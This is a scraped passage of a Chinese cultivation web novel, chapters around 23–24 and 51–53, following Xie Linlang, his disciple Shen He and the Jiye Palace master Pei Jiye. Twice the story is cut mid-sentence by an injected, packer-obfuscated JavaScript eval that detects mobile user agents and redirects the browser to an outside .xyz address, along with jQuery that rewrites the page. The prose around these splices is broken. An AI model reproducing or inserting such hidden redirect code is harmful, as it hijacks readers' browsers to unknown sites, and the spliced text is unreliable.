也不知道寂夜宫炼器师是怎么想的，居然用此至柔之物，炼制斩杀的利剑。 谢琳琅心中腹诽，手上动作不慢，很快只有三截的莲藕逐渐拉丝延长，继而交缠在一起，形成了一根长长的藕色绳索。 谢琳琅面露喜色，他一手维持着藕色绳索塑形，一手拿出了沈鹤兑换的最后一个竹心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525701|169554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉魄炼制的绣球。 他将绣球缠绕在藕色绳索的末端，虽然在保护神魂的竹心玉魄上打魅惑法术有点怪异，不过若用得好了，倒也不失为一件利器。 先凑合着用吧，谢琳琅想，等回头修为提升了、手中材料多了，再将藕索和绣球重新炼制一番。 谢琳琅微微吐出胸中郁气，如今他有了一把能御敌的藕索绣球，一个勉强算是护身的九枝榕如意绳结，总算可以探查一下周围情况了。 谢琳琅起身，他将绣球收缩成一个玉球，藕索变细缠绕在手腕上，随即掐手一点，将还残存的一些蛋壳收入乾坤袋里。 这可是他复生后的蛋壳，与他的力量适应性最强，将来拿到其他好材料后，可以请人帮忙炼制成本命灵剑。 黄玉葫芦早已在他复生时被周围的黑白混沌游鱼之力碾压成碎屑，谢琳琅只得从乾坤袋里拿出一个盛放了聚气丹的药瓶，塞在腰间，方便斗法时随时补充魔气。 做好万全准备后，谢琳琅才缓步向着山洞深处探索而去。 因为自从他进入秘境后，那时不时浮现在心头的吸引力还存在着，到底会是什么？ …… 沈鹤看着眼前怪石遮掩着的细小缝隙，嘶了一口气。 “是这里？” 张思则神色凝重中透着兴奋：“没错，别看入口很小，但进去后会有很多溶洞分岔，洞内存在一种迷惑人心的禁制，会让人迷失方向，继而自己离开，你别离我太远。” 沈鹤做了个请的手势。 张思则从怀中拿出一个有着裂纹的骨片，骨片上的裂纹一直在变化。 在张思则靠近地下岩洞入口时，那裂纹交织形成了一个箭头。 “走吧。” 张思则在前，沈鹤在后，那只麻雀紧紧抓着张思则的肩膀，时而轻声吱吱几声。 地下岩洞入目漆黑，没有一丝光亮，唯有张思则的骨片散发出淡淡荧光，像是漆黑夜色中的一点星光。 沈鹤试图放出神魂探查周围情况，可他的神魂像是落入棉花一样，好像周围无边无沿，进入了一个全新的空间似的。 沈鹤不由自主地提高了警惕。 不知道过去多久，眼前洞穴道路变窄，同时冰冷沉寂的空气中隐隐多了一抹危险的感觉。 麻雀已经团成了毛茸茸的一团，瑟瑟发抖。 张思则停下脚步，稍微让开了位置，沈鹤一眼看到了前方洞穴前的金属大门。 沈鹤指了指门，张思则点头。 沈鹤微微闭目调息，几分钟后，他睁开了眼睛，对张思则比了一个准备好的手势。 张思则点头，他拿出了玉色长方形钥匙，轻轻往前一扔，下一秒，眼前的金属大门消失了，四周黑暗洞穴也仿佛被无形的力量抹去。 紧接着，他们突兀出现在一个宽敞的空间内，空间正中间盘踞着一团漆黑的影子。 似乎察觉到有人进入，那影子缓缓拉长，四肢伏地，头部燃烧着熊熊黑色火焰，血盆大口间横着一把生锈的黑色长剑。 沈鹤的眼神好，他在黑色长剑的剑柄部分隐隐约约看到了两个字。 似乎是洞灵。 24.第 24 章 谢琳琅行走在漆黑的坑道之中。 周围紫色鱼鳞树皮的颜色越来越深，在转过某个弯道后，眼前豁然开朗，竟是一个巨大的中空空间。 谢琳琅站在洞穴出口位置，从这里看不清下方有多深，也看不清头顶有多高。 他唯一能确定的是，这紫色鱼鳞树应该是某种上古神物。 眼前巨大的鱼鳞树深深地扎根在下方的黑暗中，无数细小的树枝如蛇般紧紧扒在周围的洞穴墙壁上，顺着无数孔洞延伸进去。 而中间巨大空间里，那树枝交缠成了类似鸟巢一样的迷宫空间，从外面看，有很多出入的孔洞，孔洞外延伸出来的树枝蜿蜒扭曲，上面生长着细小的突刺，闪烁着紫色寒光。 但谢琳琅有种诡异的感觉，这株巨大的神树对他没有任何伤害和敌意。 以及那种冥冥之中的召唤感觉，就是从这株鱼鳞神树内部传来的。 来都来了，谢琳琅略一沉吟，正要靠近查看情况，突然眸光微动，他快速后退一步，躲在了洞口里侧。 就在中空空间的斜对面，一个岩壁洞口边，出现了两个人。 一个人身穿粉色长裙，手持绣扇，正是乐清屏，另一个人则是那唇红齿白的少年。 此刻少年正探出大半身子，似乎在仔细打量鱼鳞神树。 “这似乎不是凡物……” “您这不是废话吗？” 乐清屏收敛了柔弱之色，露出了曾在丹房抓着洪奎脖子喂药时的爽利。 她把玩着手中绣扇，环视周围：“那金色兽影去哪里了？” 少年指了指鱼鳞神树：“应该被吸进去了。” 乐清屏一双妙目闪了闪，试探着说：“应前辈想要找的神物就在这巨木内了？” 被称为应前辈的少年很随意地耸了耸肩：“也许吧，你还要跟着我？” 乐清屏笑吟吟道：“自然，虽然我本意不是您，但既然碰到了，您可以是化神前辈，虽说用了一具特制傀儡，跟在您身边总会更安全些。” “我倒是觉得奇怪，你没事跑紫焕山秘境里做什么？” 名为应前辈的少年好奇地打量乐清屏，“你要随我进去也行，但你得告诉我，你到底是来做什么的？” 乐清屏权衡了一下利弊，还是缓缓道：“前些日子，宗门内有名弟子，拿出了一个极好的豢养灵兽的配料方子，宗门前辈研究了一番后发现，这配料方子炼制出的成品和当初被宫主覆灭的九灵宗用的丹丸效果有些类似。” 应前辈诧异道：“你追着那弟子过来调查情况？但当初九灵宗不是被寂夜全干掉了吗？他为此还被仙门正道联手追杀了好几年。” 乐清屏刷拉打开粉色绣扇，挡住了半张脸，只露出了一双没有丝毫感情的眼睛。 “是啊，据我师尊曾言，当时宫主发狂，将在场所有活的生物全部屠戮殆尽，又将九灵宗的山门和根基之地打入混沌虚空，是绝对不可能再留下什么传承了。” “身为魔修，被仇家找上门很正常，若只是那弟子无意间得到的方子，倒也没什么，就怕他背后还藏着什么阴谋诡计，毕竟这几年仙门修士看魔修越发不顺眼。” 乐清屏语带不屑，“大家都是修士，只是修行的路子不同，他们自己渡劫成功的概率越来越低，偏说是其他修士夺了天地资源，他们怎么不干脆杀光全部凡俗之人，说凡人抢了修士的呼吸空气呢？” 应前辈轻描淡写地说：“无所谓，天劫会出手。” 乐清屏微笑道：“那弟子拜入了林师叔门下哦。” 应前辈一下子急了：“什么？在阿郁门下？等等，当初我默许阿郁转入寂夜宫，不是让他当靶子的！” 乐清屏笑眯眯地说：“您有不满可以直接和宫主谈。” 应前辈连忙问：“那弟子叫什么？你探查得如何了？” 乐清屏幽怨地说：“弟子入了秘境后就被您盯上了，甚至没钓鱼到几个肥羊。” 应前辈打个哈哈：“你现在可以去找那名弟子。” 乐清屏刷拉合上绣扇，抿嘴笑：“宗门的事可以稍后再办，跟着您开眼界的机会可太难得啦，提升修为、增加经验这种事当然要在宗门任务之前。” 应前辈失笑：“乐丫头真是顽皮。”少年摇摇头，“也罢，这只是我的一具筑基傀儡，我又没有亲自来，损失了也不可惜，你别离太远，注意情况，实在不行自己跑吧。” 乐清屏大喜：“多谢前辈。” 少年和女子一前一后，轻飘飘跳入中空巨树前。 那少年稍微搜寻了一下，找了一个合适突入的巢穴入口，招呼着乐清屏进去了。 直到他们进去一刻钟后，谢琳琅才从洞穴内侧的隐蔽处走出来。 他的神色有些怔忪。 原来乐清屏是追着沈鹤而来？ 谢琳琅难得懊恼不已，他此前给沈鹤的那张方子是他自己研发的，但来源的确和九灵宗有关。 那是很久之前的事了，裴霁认识了九灵宗的许姓修士，还被那许修士豢养的灵兽所吸引，天天说那灵兽如何如何好，怎么怎么吸引人。 谢琳琅的心情非常糟糕，他倒也不是看不得裴霁交朋友、或者有别的喜好，而是裴霁喜欢的灵兽是蛇！ 偏谢琳琅还未修行前，在家里玩耍时曾被草蛇咬过，尽管无毒，却也喝了好久的药汤。 如今踏入修行之道，谢琳琅早已不怕蛇，甚至可以面不改色地对更可怕的妖兽下手，抽筋扒皮炼丹一条龙服务。 可、可是他明明和师兄耳鬓厮磨时，提起过小时候的事，师兄知道他被蛇咬过，还专门跑来说那姓许的养蛇养的好，这不是故意气他吗？ 谢琳琅一怒之下，在又一次裴霁感慨地说许兄养的蛇油光水滑、肥而柔韧时，谢琳琅面上不动声色，暗地里买了九灵宗豢养妖兽的极品饲料丹丸。 谢琳琅在丹道上天赋异禀，很快就通过极品饲料丹丸，逆推出了丹丸的八成配方。 当然，具体炼制的手法和配方主药还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531861|169554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不同的，但就药效来看，已经和九灵宗出售的极品饲料丹丸没什么区别了。 然后谢琳琅购入了一批低阶灵蛇，用自己研发的饲料丹丸培育了一箱子灵蛇。 当时裴霁欲言又止，不理解谢琳琅为什么这么做。 直到谢琳琅终于从一箱子蛇里挑出一个品相最好的灵蛇，当做礼物送给裴霁时，裴霁才明白谢琳琅的意思。 裴霁笑得乐不可支，他紧紧抱着谢琳琅，因为大笑而不断震动的胸腔撞击着谢琳琅，谢琳琅却顾不得这些，觉得裴霁是在笑话他。 “我的好师弟，你怎么这么可……咳咳，贴心啊，好吧我说实话，我去找许兄看那些蛇，是因为他养的蛇让我很有食欲……” 裴霁完全没想到谢琳琅会因此恼怒，甚至好强到亲自养了一箱子蛇。 “那些蛇欺负过你，我只想吃掉。” 裴霁那黑亮的目光仿佛多了厚重的分量，一寸寸描摹着谢琳琅因尴尬而羞红的脸颊，“既然你养了一箱子，那……师兄就不客气了！” 之后发生的事过于美妙而甜蜜了。 裴霁剁了蛇头、去了蛇骨、扒了蛇皮，将一箱子蛇做了成了蛇肉羹，吃完后精力旺盛，师兄弟俩在棠花谷嬉闹了一天一夜。 谢琳琅只记得那天的一切都花团锦簇，如旋转的万花筒般美妙绚丽。 至于造成一切的罪魁祸首许修士，早就被谢琳琅抛到脑后，自然也没再关心修改后的饲料配方。 这些宝贵而美丽的回忆早就被谢琳琅压在了心底，哪里想到随便扯出来的一张配方，却害的沈鹤遭到了寂夜宫高层的怀疑。 不过看寂夜宫的行事，只派遣了乐清屏过来追踪沈鹤的踪迹，而不是让宗门大能直接上搜魂秘术，恐怕没太重视这件事。 修士机缘巧合下拿到各种奇怪的功法，这类事情太多了。 而且沈鹤拿出的方子和九灵宗的配方还有些不同，再加上沈鹤出身干净可查，修为又不高，甚至没结丹，是以寂夜宫只是派人盯一盯。 谢琳琅暗自提醒自己，以后行事要更加谨慎小心。 他现在只是个炼气修士，不再是曾经的化神修士，也没有九夏山的庇护了，他复生回来是为了找裴霁，可不想因为狂妄自大或者一些小事上的疏忽，再度半途陨落。 “不过寂夜宫对弟子的状况如此关切吗？” 谢琳琅还有些不解，寂夜宫也是传承无数年的大宗门了，至于这么盯着一件小事吗？ 只是一个吃了会平息妖兽体内的血脉之力，让妖兽陷入飘飘然的欢畅听话状态，为什么寂夜宫如此警惕防备？ 谢琳琅暗中记下此事，他收敛心神，轻盈一跃，无声无息来到神树巢穴的某个入口，之前应前辈和乐清屏从此进入神树。 谢琳琅沿着两人的踪迹，快而谨慎地追了上去。 那个呼唤就在前方。 他倒要看看，能让一个化神修士派遣筑基水平的傀儡，亲入秘境探查搜索的宝物，到底是什么。 50-60 第51章 第 51 章 黑幕！有黑幕！ 谢琳琅觉得不对劲。 由于他和沈鹤在丹药大比上展现了不错的天赋和炼丹技巧, 两人在低阶修士中有了些名声，不少弟子会找他们交流丹药技巧。 这似乎很平常，可谢琳琅毕竟曾是高阶修士, 又经历过不少修士间你死我活的争斗之事, 他直觉觉得近日打着讨教名义来找他和沈鹤的修士, 都像是有别的目的。 倒也能理解, 虽然宗门选拔出了三十二个修士, 不再像是初选的淘汰制, 而是小组轮回积分赛制，但最终只会选四个筑基名额。 再加上金丹期三位，元婴两位，化神一位, 寂夜宫这次会派遣十个人参与九夏山的芥子境开启盛会。 沈鹤和谢琳琅两人就会占掉一半的名额, 林郁内定了洪奎, 换言之，剩下的人只能抢这一个名额, 竞争激烈。 若是能想办法将沈鹤或者谢琳琅拉扯下来, 自己被选上的概率不就高一些了吗？ 而且魔修本就鼓励竞争，只要手段别那么难看，面上过得去，不留下证据, 宗门也不在乎一个连自己小命都保不住的天才。 谢琳琅私下提醒了沈鹤。 沈鹤有些忧虑：“那我去找林郁师尊, 借用师尊的丹房练习怎么样？师尊的丹房外有足够的防护，应该会很安全。” 谢琳琅沉吟道：“众所周知, 修行是逆天之事，天地灵物都是有限的，任何一个微小的进步都需要你不断去争取、去抢夺、去筹谋, 别的筑基弟子盯着你，但金丹、元婴甚至化神等宗门前辈也都注视着这场大比，机遇与危险并存，端看你自己选择了。” 沈鹤若有所思，继而恍然大悟，躬身作揖：“多谢师尊指点。” 寂夜宫的筑基弟子试图暗算他，总比出门在外、碰到不知底细来历的散修暗算他要好对付一些吧？ 如果他连宗门内的竞争者都无法摆平，那将来他出门游历时该怎么办？ 之后沈鹤尽量和谢琳琅凑一起行动，要么约了乐清屏，要么约了洪奎，同时他积极上各种宗门大课，即便有人想暗算他，在这种公共的、随时都可能被宗门前辈盯梢的空间，也不可能用特别过分的手段。 至于当面约战啦，下课时被人围着现场炼丹比赛啦，或者被人用话语挤兑，甚至是在人群中突然被拍雷符之类的……都被沈鹤勉力应付了下来。 渐渐的，遇到突发情况次数多了，沈鹤倒也多了几分宠辱不惊、从容不迫的感觉。 谢琳琅暗自点头。 他自然也遇到了类似情况，但他有一把乐清屏给的金丹修士才能用的七星剑，七星剑一出，基本上筑基水平的攻击和手段都毫无用处。 谢琳琅趁机展现了精湛的剑术技巧，再加上他身上夕死门的标签，倒是让不少人知难而退。 时间就这么如流水般过去了，大比最终选拔出了四名弟子，洪奎、沈鹤、谢琳琅以及另一个叫钱阳的修士。 钱阳不是丹房的弟子，而是在库房那边当管理。 他的背景也不简单，是寂夜宫势力范围内名气最大的魔植材料经销商，钱材多商铺的子弟。 钱阳的炼丹技术不怎么样，然而这小子心眼活泛，硬是用三寸不烂之舌，说服了寂夜宫的高层。 诸如我去真界帮咱们物色调查其他宗门的丹师天才、寻找更好的材料源头、帮咱们寂夜宫拓宽经营渠道等等理由，让高层在钱阳拿钱砸其他选手时，睁一只眼闭一只眼。 沈鹤也接到过钱阳送来的厚礼，他向谢琳琅学习：收礼是一回事，干事是另一回事，是你求我，我爱理不理，你有本事别来找我啊~ 反正谢琳琅于九夏山炼丹时，就是这个态度。 只是后来裴霁陨落，谢琳琅为了调查裴霁和九灵宗的事，才不得不收敛了棱角，开始四处结交善缘。 钱阳仔细调查了这次参与比赛的弟子，洪奎是丹房主管林郁的真传弟子，肯定搞不掉；谢琳琅背后疑似有夕死门撑腰，寂夜宫已经收了好处，肯定也搞不掉。 于是钱阳对比了剩下弟子，在确认了沈鹤的炼丹水平和天赋是弟子中最好的后，钱阳就将攻势转到了别人身上——宗门肯定要推一个有真才实学的天才出面，否则会给寂夜宫丢人的。 果不其然，丹药大比的评委，也就是寂夜宫的一位化神丹师和三个元婴丹师，都觉得钱材多商铺出身的钱阳很有眼色，竟真的没有质疑为什么钱阳总是不战而胜。 寂夜宫那位化神丹师笑眯眯地对四名弟子说：“四位都是宫内俊杰，你们都将获得前往真界学习的好机会，不过为了激励你们继续努力，你们四个也进行一场比斗，选出能力最强者，将获得宗门的奖励。” 钱阳倒是很有眼色，主动说：“弟子才疏学浅，愿意将奖励让给诸位师兄。” 他是氪金砸上来的，本来就没资格。 谢琳琅无所谓：“弟子另有传承，胜之不武，愿意将奖励让给诸位师兄。” 他是重修，本就占了便宜。 沈鹤赶在洪奎开口前，非常有眼色地说：“弟子入门时日尚浅，怎比得上洪师兄多年修行？弟子愿意将奖励让给洪师兄。” 师尊都让了，他也得让！ 洪奎：“……” 他自家人知道自家事，单论天赋，他是比不上沈鹤的，看炼丹技巧，他似乎也比不上乐清屏带回来的谢玉。 至于钱阳……这小子背后的钱多好商铺分号遍布寂夜宫势力范围，以后还得去商铺买东西，怎么能直接得罪人？ 他只能闷声闷气地说：“师弟们皆谦让，我作为师兄，怎可接受？还是将机会给师弟们吧。” 寂夜宫化神前辈：“……” 不是，等等，什么时候咱们寂夜宫讲究互相谦让推辞了？说好的竞争激烈、你死我活、你争我抢呢？ 你们四个是不是有点画风不对？ 老者皮笑肉不笑：“这样好了，只要你们全力以赴，老夫代表宗门满足你们一个要求。” 钱阳的眼睛刷得亮了：“真的？” 某些材料的特许经营权！！ 谢琳琅的眼睛也亮了：“要求有范围吗？” 他可以调阅寂夜宫内的机密资料吗？ 沈鹤也有些激动：“可以请前辈帮忙吗？” 他想找一找自己的血缘家人，或者找前辈卜算一下也行啊。 只有洪奎的目的最简单：“能请宗门发一瓶辅助结丹的蕴生丹吗？” 他要踏入金丹期！ 寂夜宫的化神丹师露出了满意之色：“没问题，老夫愿意就你们的请求向宫主进言，你们细细说一下所求之事，若宫主同意了，你们就好好比一番吧。” 很快，裴寂夜收到了相关请求。 事实上他比负责丹药大比的化神修士还要了解这四个选拔出来的弟子。 无他，裴寂夜最近一直用水镜追踪着谢琳琅。 只要谢琳琅出现在寂夜宫的公共区域，裴寂夜就会放出水镜静静看着。 林郁刚开始觉得裴寂夜有点神经，可后来他发现，最近裴寂夜的情绪和躁动的魔气竟安静了许多，甚至也没有往日那种疯癫感了，林郁不由得松了口气。 但很快林郁又开始头疼了。 因为裴寂夜每次看谢琳琅时，总是能看到谢琳琅和沈鹤一起出入食堂、宗门大课、公共比武台甚至是藏书阁。 他们一直成双入对！！ 裴寂夜又开始暴躁了。 “那小子什么时候死！？” 林郁敷衍裴寂夜：“再等等，等大比结束就可以死了。” 大比结束后他就将徒弟打包扔到真界避避风头。 裴寂夜：“你骗我吧？那小子天赋很好，已经获得去真界的资格了。” 林郁：“没事，死了就让第五名自动替补。” 裴寂夜这才满意了。 林郁：他总算安静了。 如今接到化神丹师的传讯，裴寂夜立刻批准了，并要求马上开始比赛。 只要比赛结束，让沈鹤还了谢琳琅的债务，这小子就可以滚去死了！ 裴寂夜杀气腾腾地想。 比赛结果在所有人意料之中，沈鹤得了第一。 沈鹤有些难受，他知道自己是被师尊让成第一的。 “你想找家人，这更重要。” 谢琳琅本就承了沈鹤天大的人情，转生根基都是沈鹤家人留下的认亲之物，沈鹤想找寂夜宫的前辈帮忙占卜搜寻家人，谢琳琅当然要鼎力相助。 他偷偷给沈鹤传音，“你若是心有亏欠，等去了真界，我需要你帮我做些事。” 由于当年他一直念着裴霁，炼化设置芥子境时，专门留了一些需要双人辅助才能通关的关卡，需要其中一方无私无偿帮助另一方，才能通关。 沈鹤精神一振，总算笑了。 但一直远距离看着丹药大比的裴寂夜立刻拍案而起，赤红树枝宝座的三分之一变成了灰烬。 他咆哮，“黑幕！有黑幕！！那沈鹤根本比不上谢玉！凭什么让沈鹤得第一！？” 裴寂夜虽然不擅长炼丹，可他常年看师弟谢琳琅炼丹，又已然是渡劫期的大修士，自然眼光毒辣敏锐。 虽然沈鹤和谢琳琅用的都是通用的、大众化的炼丹手法，可谢琳琅的手法明显更加流畅自然，身姿也更轻灵优雅。 只是在取丹阶段，谢琳琅故意停留了三秒，多转动了一下袖摆，虽然姿态很好看，可是丹火旺盛，导致丹炉里的丹丸焚毁了一颗，没有满丹出炉。 谢琳琅的小动作太自然了，普通的丹师根本看不出这点细微停顿和火候变化， 林郁有些绷不住了。 尽管裴寂夜天天叫嚣着要弄死沈鹤，可沈鹤目前还是他收的弟子。 有一说一，他对沈鹤还挺满意的。 “沈鹤可是满丹出炉，丹药圆润光滑，意蕴悠长，品质极佳，凭什么不能得第一？” 林郁终于说出了最近一直萦绕在心头的话。 “沈鹤天赋就是比谢玉好，你就算走火入魔、突然恋爱脑了，也不能因为吃代餐，就枉顾客观事实啊？！” 第52章 第 52 章 可惜恶了裴寂夜。 沈鹤和洪奎等在林郁的丹房外。 他们师兄弟俩得了大比名次, 还得到了各自想要的东西——洪奎得到了一瓶帮助结丹的丹药，沈鹤有了一次找宫内渡劫期擅长卜算的长老的卜算机会——那么作为师尊，林郁总要发言说点什么。 弟子如此给师尊长脸, 师尊总要有所表示, 对吧？ 然而两人等了许久, 都没得到召见许可。 师兄弟俩面面相觑。 就在洪奎想说, 要不师弟咱们先回去, 明天再来吧, 眼前禁闭的门扉终于打开了。 洪奎立刻收敛心神，轻声道：“师尊，弟子洪奎。” 沈鹤连忙跟上：“弟子沈鹤。” “见过师尊。” “进来吧。” 林郁的声音听起来有些气虚？ 洪奎和沈鹤心里犯嘀咕，师兄弟俩耷拉着脑袋, 鱼贯进入了林郁的丹房。 沈鹤对这里有印象, 他知道林郁师尊有一个极品魔炉, 还被自家师尊盯上了，此刻他跟着洪奎走进门, 眼神快速在里侧一扫, 果然看到了那尊被谢琳琅心心念念的超大肚极品魔炉。 此刻魔炉上氤氲着浓烈的黑紫色魔气，不像是炼丹，可是丹火正在猛烈燃烧，这是要烘烤什么宝物或者材料？ 沈鹤不敢多看, 赶紧收回视线, 跪伏在洪奎身侧。 “尔等表现优异，为师深感欣慰。” 林郁有气无力地说：“听闻你们都从宗门得到了赏赐？你们要了什么？” 由于最后决赛结束后, 林郁正被杀马特小鸟疯狂突刺，倒是没注意他们都要了什么奖励。 洪奎说自己要了结丹的丹药，沈鹤说自己想要寻找家人。 林郁稍微多了几分注意：“家人？” 修行界最怕的是什么？无父无母的孤儿啊！ 无父无母的孤儿还能踏入修行界, 要么机缘逆天，要么血脉逆天。 得罪前者相当于得罪老天爷，得罪后者相当于得罪了那一整条强悍的血脉链条。 至于真有那等坐而悟道的绝世天才，这种人报仇不过夜，甚至当场就干掉敌人了，根本没有得罪他的机会——临阵悟道、越级提升，自然能大发神威干掉敌人啦。 “是，弟子是爷爷收养的。” 沈鹤精神一振，他没敢直接说自己爷爷得了一个修士的拜托和叮嘱，只说他爷爷在某个角落里捡到了他，根据襁褓可知他出身不凡。 “弟子已然请求宗门渡劫期的大能前辈，帮弟子占卜一下寻找方向。” 正常情况下，这种请求需要倒欠宗门天价课时点、还得看渡劫期的前辈是否乐意，但有了宗门的丹药大比，就能节省一大笔钱了！ 林郁面色微变：“那你岂不是还欠债没还？” 沈鹤有些不好意思：“原来师尊还关心弟子的债务啊，是的，弟子还欠着谢师兄一笔债务，不过师兄说，正好接下来要去真界，他想请我在真界帮忙以偿还债务，所以……” 林郁的表情更微妙了，他沉吟道：“这样啊，听闻他曾出身真界，也许会让你做些危险的事，你要注意自身安全……” 话还没说完，极品丹炉突然发出一个刺耳的轰鸣声，下一秒，丹炉上方的炉盖被踹开了。 炉盖打着旋砸向林郁的脑袋。 林郁面不改色，用了收丹的手法，轻松一抄，就将炉盖塞入袖中。 紧接着，一只通体漆黑、可能是被烧黑的杀马特小鸟杀气腾腾地从丹炉里窜了出来，伸出两只超大的爪子，死死抓着丹炉的边缘。 上次这小鸟落下来的一根毛还会被丹炉烧成灰，而现在他不仅不惧怕丹炉的高温，敢直接站在丹炉边缘，甚至此前还在丹炉最核心的位置打了个盹。 洪奎和沈鹤都倒吸一口冷气。 洪奎作为师兄，最先开口：“师尊，这是您那只夜前辈？” 林郁嗯了一声，他脸色越发苍白，甚至有点萎靡了。 他曼声道：“你也听到了，洪奎和沈鹤都要前往真界参与这场盛事，沈鹤还欠了谢玉的债务，我担心他遭人暗算，不如你替我走一趟，陪在沈鹤身边，护他安全。” 林郁在安全这个词上加了重音，本来正死死盯着他、似乎想冲过来将林郁杀个对穿的杀马特鸟果然被吸引了注意力，鲜红色的目光落在了沈鹤身上。 沈鹤心中叫苦，姑且不提他上次就得罪了夜前辈，重要的是这次前往真界，他还想多多侍奉在玉佩师尊身边，尽量多学点修行技巧。 若是随身带个麻烦的夜前辈，那岂不是出门在外还得和玉佩师尊装模作样？ 他吞吞吐吐，“可是上次夜前辈似乎对弟子多有不满……” 林郁慢条斯理地说：“放心，这次他必然会跟随在你身边。” 可能也知道自己的要求有点强人所难，林郁抢在沈鹤开口前，一脸慈祥地说：“对了，你这次表现优异，为师给你准备了一些奖励。” 他拿出了两个乾坤袋，一个递给洪奎，一个交给沈鹤。 “你马上结丹了，我帮你准备了一些结丹后用的法器和材料。” 林郁先对洪奎说，又转而叮嘱沈鹤，“我给你准备三张护身用的符文，可以抵挡元婴修士最强一击，还有一张空间传送符，使用后会张开一个化神修士释放的护盾，并将你传送到距离最近的传送站，不分真界和魔域。” 有一说一，林郁收沈鹤为徒，但时间太短了，双方没什么感情。 林郁对沈鹤也没什么恶感，甚至觉得沈鹤天赋不错，修行勤勉，待人颇为真诚有礼，是个不错的孩子。 可惜恶了裴寂夜。 于是林郁拿出了一张他的前师尊应啸天给他准备的护身符文，算是全了这点师徒缘分。 而且只要沈鹤一直和谢玉交好，到时候更憋气郁闷的人，不定是谁呢。 沈鹤不知道林郁心里的弯弯绕绕，他是真的很感动，他最缺的就是防护类法器，师尊上次给的黑骨钟……咳咳，不好意思，经过这段时间使用，又裂纹啦！ 可能是我的使用方式不对吧，想到这里，沈鹤道：“师尊，弟子有些修行上的疑惑……” 林郁想着这很可能是最后一次授课了，就温和地说：“你问吧。” 沈鹤先说了平日的一些疑惑，又提了点炼丹上的问题，尽管他有谢琳琅指导，可若是他从不询问相关问题，必然会引人探究。 最后他说：“师尊赐的黑骨钟不太结实……” 林郁有点奇怪，他这黑骨钟可是精心炼制的法器，为了让声音传递的更远，专门选取了诸多魔兽的耳骨，还内嵌了很多音律方面的符文，怎么会不结实呢？ “拿来我看看。” 林郁上手检查了一下，脸都木了。 “……你怎么用黑骨钟的？” “额，直接砸上去？” “暴殄天物！！” 林郁勃然大怒，他就没见过将音律攻击武器当板砖榔头正面砸过去的蠢货！气死他了！ 沈鹤缩着脖子，像只瑟瑟发抖的小鸟。 裴寂夜单腿站在丹炉边缘，冷眼看着林郁吵两个徒弟，一动不动。 虽然他看起来很暴躁，似乎下一秒就会疯狂突刺，但极擅长抓住破绽和本质。 这也是剑修的一大特色和优势。 他捕捉到了林郁若有若无的警告，比如沈鹤出身不明，不能贸然动手；比如沈鹤还欠着谢玉的债务；再比如林郁暗示裴寂夜可以去了真界再自己看情况处理沈鹤等等。 裴寂夜反而不着急了。 他从必死之境将林郁救回来，林郁欠了根本还不完的恩情，理论上不会反驳裴寂夜的决定，可即便如此，林郁还是没有立刻弄死沈鹤。 或者是修士本能趋利避害的天性，或者沈鹤的确有不凡之处，这都值得裴寂夜仔细观察和思考。 裴寂夜细细打量沈鹤时，他看得非常专注，看着看着，不知道为什么，他突然觉得沈鹤是不是有点面善？ 是他的错觉吗？沈鹤的面相竟隐隐有点像…… 突然林郁和裴寂夜同时抬头看向窗外，外面闪过一道紫色的云影。 下一秒，裴寂夜消失了，林郁迟疑了一下，还是留在丹房没有动。 一只巨大的白色骨兽从天而降，离得近了才看出是一只白骨形成的犬妖。 犬妖落地后摇身一变，成了一个白衣少年，正是白骨宗的应啸天。 “你们宫主在吗？” 他随意问了驻守在附近的寂夜宫修士，那修士忙不迭摇头：“弟子不清楚……” 应啸天翻了个大白眼：“算了，我还是自己去找他。” 白衣少年轻飘飘地窜到寂夜宫最顶层的山门处，按照老流程，一路下冲，继而进入了深邃的地下宫殿群，最终抵达了最深处的房间。 房间门口仍然站立着两个黑甲修士，只不过这次黑甲修士并未阻拦，应啸天顺畅无阻地冲入了房门。 “喂，裴小鸡，我回来了。” 斜倚在赤红树枝宝座上的黑发青年似乎在低头看着什么，见到应啸天后，他平静地放下了本来就拿倒的书卷，慢条斯理地说：“东西拿到了？” “拿到了。” 应啸天抬手一扬，一枚圆形的、像是丹药的玉石落入裴寂夜手中。 裴寂夜仔细打量这枚墨绿色的圆形石球，石球通体冰凉，拇指大小，中间一点白光时隐时现，看起来非常诡异。 “据说这是什么丹炉之精，唯独琳琅道君能从丹炉里提炼出来的宝物。” 应啸天抱怨道：“我拿着这玩意，被好多人追踪和盯梢，尤其是过界门时，简直像是鲤鱼跃龙门，周围一群明里暗里的修士都时刻准备动手……” 他的话音刚落下，一道悠扬清冽的声音从远处传来。 “高淳秋特来拜访寂夜宫主。” 裴寂夜深深地看向应啸天。 应啸天有些尴尬地一摊手，“你打发了？” 第53章 第 53 章 如今裴霁就在人间，他有…… 高淳秋是谁？ 由于这道声音直接穿透了寂夜宫的防护阵法, 寂夜宫这么多弟子——除了在地下宫殿里闭关的老前辈们——几乎所有地面上的修士都听到了这句话。 大家都泛起了一个疑惑，高淳秋是哪根葱，居然敢来寂夜宫找茬儿？ 下一秒, 那悠扬的声音继续道：“在下与应道友神交已久, 想要与他畅谈一番, 恰逢应道友来到寂夜宫, 是以在下冒昧拜访, 还请见谅。” 哦, 是来找人，顺便找到寂夜宫的？ 听高淳秋的语气似乎很温和，很快就有寂夜宫当值的修士出面。 由于高淳秋似乎是化神后期，寂夜宫这边也出面了一位化神修士接洽高淳秋。 两人在天上似乎商谈了什么, 很快, 